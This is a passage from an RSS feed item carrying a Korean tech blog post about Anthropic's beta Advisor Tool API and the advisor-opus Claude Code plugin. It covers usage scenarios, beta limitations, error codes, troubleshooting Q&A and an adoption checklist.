&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;추천&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용과 의미 있는 Opus 조언 사이 균형점&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Opus&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비추천&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;지능 이점 없음, 자동 호출 비활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;v0.2.0 변경 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026-04-10 출시된 v0.2.0에서 공식 Advisor Tool 모범 사례에 맞춰 플러그인을 전면 재작성했다. 출력 제한도 150단어에서 100단어로 축소됐다. 공식 API의 &quot;100단어 이내&quot; 권장 지침을 반영한 변경이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 6 ===== --&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 사용 시나리오별 선택 가이드&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 A &amp;mdash; API를 직접 통합하는 개발자&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자체 에이전트 프레임워크를 Python이나 TypeScript로 구축 중이라면 공식 Advisor Tool API가 적합하다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;client.beta.messages.create()&lt;/code&gt;에 advisor tool을 추가하고, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;betas=[&quot;advisor-tool-2026-03-01&quot;]&lt;/code&gt;을 붙이면 기존 코드를 크게 수정하지 않고 붙일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 시나리오에서는 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses&lt;/code&gt; 설정으로 비용을 통제하는 것이 중요하다. advisor가 무제한 호출되면 Opus 비용이 예상보다 커질 수 있다. 3회 이상 호출이 예상되는 플로우라면 캐싱(&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;ttl: &quot;5m&quot;&lt;/code&gt;)을 함께 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 비용 최적화 조합도 참고할 만하다. Sonnet executor에 medium effort를 적용하고 Opus advisor를 붙이면 Sonnet default effort와 유사한 지능을 더 낮은 비용으로 달성할 수 있다. 최대 지능이 필요하다면 executor를 default effort로 유지한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 B &amp;mdash; Claude Code에서 바로 써보고 싶은 개발자&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 작성하지 않고 Advisor Strategy를 경험해보고 싶다면 두 가지 선택지가 있다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;Claude Code 내장 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor&lt;/code&gt; 커맨드&lt;/b&gt; &amp;mdash; v2.1.117 기준 experimental 상태. 별도 설치 없이 바로 사용 가능하나, 정식 출시 전 기능임을 감안한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;advisor-opus 플러그인&lt;/b&gt; &amp;mdash; deprecated됐지만, 호출 타이밍(plan/advise/review)을 수동으로 제어하고 싶을 때 유용.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Code /advisor &amp;mdash; Experimental (v2.1.117, 2026-04-22)&lt;/b&gt;: Claude Code &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://code.claude.com/docs/en/changelog&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;changelog&lt;/a&gt;에서 확인된 상태다. &quot;Advisor Tool (experimental)&quot; 레이블이 붙어 있으며, 이전 버전에서 'Advisor tool result content could not be processed' 버그가 수정된 이력이 있다. GA 이전 기능이므로 운영 환경 도입 시 주의가 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;executor로 Haiku를 쓰는 경우라면 플러그인의 효과가 가장 크다. advisor-opus README에 따르면 Haiku+Opus 조합에서 &quot;지능 격차가 최대화&quot;되어 Opus 조언의 효과가 극대화된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 Advisor Strategy를 쓰지 않는가&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1070&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GdfOK/dJMcagyvg0e/ixZKuvAEluiinKgU4CxCTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GdfOK/dJMcagyvg0e/ixZKuvAEluiinKgU4CxCTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GdfOK/dJMcagyvg0e/ixZKuvAEluiinKgU4CxCTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGdfOK%2FdJMcagyvg0e%2FixZKuvAEluiinKgU4CxCTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1972&quot; height=&quot;1070&quot; data-origin-width=&quot;1972&quot; data-origin-height=&quot;1070&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;모든 작업에 advisor를 붙이는 것이 항상 유리한 것은 아니다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;는 advisor가 적합하지 않은 케이스를 명시한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;단순 one-shot Q&amp;amp;A&lt;/b&gt; &amp;mdash; 계획할 것이 없는 단일 턴 요청에는 advisor 오버헤드가 태스크 복잡도를 초과해 비용만 늘어난다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;pass-through model picker&lt;/b&gt; &amp;mdash; 사용자가 직접 비용&amp;middot;품질 트레이드오프를 선택하는 구조라면 advisor를 끼워 넣어도 의미가 없다. 사용자가 이미 원하는 모델을 선택한 상황이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Opus를 executor로 쓰는 경우&lt;/b&gt; &amp;mdash; advisor도 Opus이므로 지능 이점이 없다. advisor-opus 플러그인도 이 경우 자동 호출을 비활성화한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;모든 턴이 advisor 수준 역량을 필요로 하는 워크로드&lt;/b&gt; &amp;mdash; executor와 advisor의 역할 분리보다 처음부터 Opus 단독으로 실행하는 편이 낫다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 7 ===== --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 베타 제한사항 &amp;middot; 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;베타 주의사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Advisor Tool은 현재 베타 상태다(2026-04-24 기준). GA(정식 출시)되지 않았으므로 프로덕션 도입 시 다음 사항을 고려한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;베타 헤더(&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor-tool-2026-03-01&lt;/code&gt;)는 GA 시 변경될 수 있다.&lt;/li&gt;
&lt;li&gt;스트리밍 사용 시: advisor sub-inference는 스트리밍되지 않는다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 advisor 실행 중 executor 스트림이 일시 중단되며, 약 30초마다 SSE keepalive가 전송된다. 단, advisor 호출이 짧을 경우 ping이 전혀 없을 수 있다.&lt;/li&gt;
&lt;li&gt;모델 페어링은 현재 Opus 4.7(advisor)로 고정된다.&lt;/li&gt;
&lt;li&gt;ZDR(Zero Data Retention) 계약이 있는 조직은 advisor tool도 ZDR 적용 대상이다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추가 제한사항 (v2026-04-24 기준 신규 확인)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에서 새로 확인된 제한사항 3가지다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;clear_tool_uses&lt;/code&gt; 미완전 지원 (임시)&lt;/b&gt;: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;clear_tool_uses&lt;/code&gt;는 아직 advisor tool blocks와 완전히 호환되지 않는다. 향후 릴리즈에서 지원 예정이다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Priority Tier 모델별 적용&lt;/b&gt;: Anthropic Priority Tier는 모델별로 적용된다. executor에 Priority Tier가 설정되어 있어도 advisor에는 자동으로 적용되지 않는다. advisor 모델에도 별도로 Priority Tier를 설정해야 한다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_tokens&lt;/code&gt; executor 전용&lt;/b&gt;: top-level &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_tokens&lt;/code&gt;는 executor output에만 적용된다. advisor 토큰 출력은 별도로 제어되지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;에러 코드 6종과 대처법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에서 확인한 에러 코드와 대처법이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;에러 코드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;원인&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;대처법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses_exceeded&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;요청당 advisor 호출 한도 초과&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses&lt;/code&gt; 값을 높이거나, 호출 빈도를 줄인다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;too_many_requests&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;레이트 제한&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;재시도 로직(exponential backoff) 적용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;overloaded&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API 서버 용량 초과&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;일시적 현상, 재시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;prompt_too_long&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;트랜스크립트가 advisor 모델 컨텍스트 초과&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;히스토리를 줄이거나 대화를 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;execution_time_exceeded&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;타임아웃&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;태스크를 더 작은 단위로 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;unavailable&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;advisor 모델 일시 불가&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;재시도, 지속 시 Anthropic 지원 문의&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6가지 에러 중 실무에서 가장 빈번한 것은 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt; 블록 누락으로 인한 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;invalid_request_error&lt;/code&gt;(아래 Q&amp;amp;A에서 별도 다룸)와 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses_exceeded&lt;/code&gt;이며, 나머지 4종은 일시적 서버 상태에 의한 것이므로 exponential backoff 재시도로 대부분 해결된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q&amp;amp;A&lt;/h3&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. 멀티턴 대화에서 400 에러가 발생한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt; 블록을 포함한 assistant 응답 전체를 다음 턴의 메시지 히스토리에 추가해야 한다. 이 블록을 빠뜨린 채 요청하거나, tools 목록에서 advisor를 제거한 상태로 히스토리에 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt;가 남아있으면 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;400 invalid_request_error&lt;/code&gt;가 발생한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. beta header를 어떻게 정확히 설정하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Python SDK: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;betas=[&quot;advisor-tool-2026-03-01&quot;]&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TypeScript SDK: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;betas: [&quot;advisor-tool-2026-03-01&quot;]&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;-H &quot;anthropic-beta: advisor-tool-2026-03-01&quot;&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. advisor 호출 횟수를 어떻게 추적하는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응답의 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.iterations&lt;/code&gt; 배열에서 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;type: &quot;advisor_message&quot;&lt;/code&gt; 항목 수를 세면 된다. top-level &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage&lt;/code&gt;는 executor 첫 번째 iteration의 input_tokens만 반영하므로 advisor 비용 산출 시에는 반드시 iterations를 분리해서 집계해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Q. 스트리밍 연결이 끊기는 것처럼 느껴진다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 따르면 advisor 실행 중 스트림이 멈추는 것은 정상 동작이다. SSE keepalive는 약 30초마다 전송되나, advisor 호출이 짧은 경우 ping이 전혀 없을 수 있다. advisor 완료 후 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt;는 delta 없이 단일 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;content_block_start&lt;/code&gt; 이벤트로 한 번에 도착한다. 클라이언트 타임아웃을 충분히 (30초 이상) 설정한다.&lt;/p&gt;
&lt;/div&gt;
&lt;!-- ===== SECTION 8 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section8&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 도입 플레이북&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Advisor Strategy를 처음 도입한다면 단계적 접근이 현실적이다.&lt;/p&gt;
&lt;div style=&quot;background: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;오늘 (탐색)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Claude Code를 쓰고 있다면 내장 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor&lt;/code&gt; 커맨드로 패턴을 먼저 경험한다. 현재 experimental 상태이므로 프로덕션 적용 전 충분히 테스트하는 것을 권장한다. advisor-opus 플러그인은 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/plugin marketplace add shalomeir/advisor-opus&lt;/code&gt; 한 줄로 설치하고 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;/advisor-opus:plan&lt;/code&gt;으로 시작해볼 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이번 주 (API 통합 검증)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 에이전트 워크플로의 복잡한 판단 단계를 특정한다. Python 또는 TypeScript SDK 예시를 참고해 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;client.beta.messages.create()&lt;/code&gt;에 advisor tool을 추가하고, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;max_uses=3&lt;/code&gt;으로 호출 횟수를 제한하며 실험한다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;usage.iterations&lt;/code&gt;로 실제 advisor/executor 토큰을 분리해 측정한다. 비용 최적화가 목표라면 Sonnet medium effort + Opus advisor 조합도 검토한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;운영 반영 시 체크리스트&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;베타 헤더 명시 (&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor-tool-2026-03-01&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&amp;lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>advisor tool api</category>
      <category>advisor tool 사용법</category>
      <category>ai agent 비용 최적화</category>
      <category>anthropic advisor strategy</category>
      <category>browsecomp benchmark</category>
      <category>claude api beta</category>
      <category>claude opus advisor</category>
      <category>sonnet haiku executor</category>
      <category>swe-bench multilingual</category>
      <category>에이전트 ai 설계</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/586</guid>
      <comments>https://goddaehee.tistory.com/586#entry586comment</comments>
      <pubDate>Sun, 26 Apr 2026 15:00:11 +0900</pubDate>
    </item>
    <item>
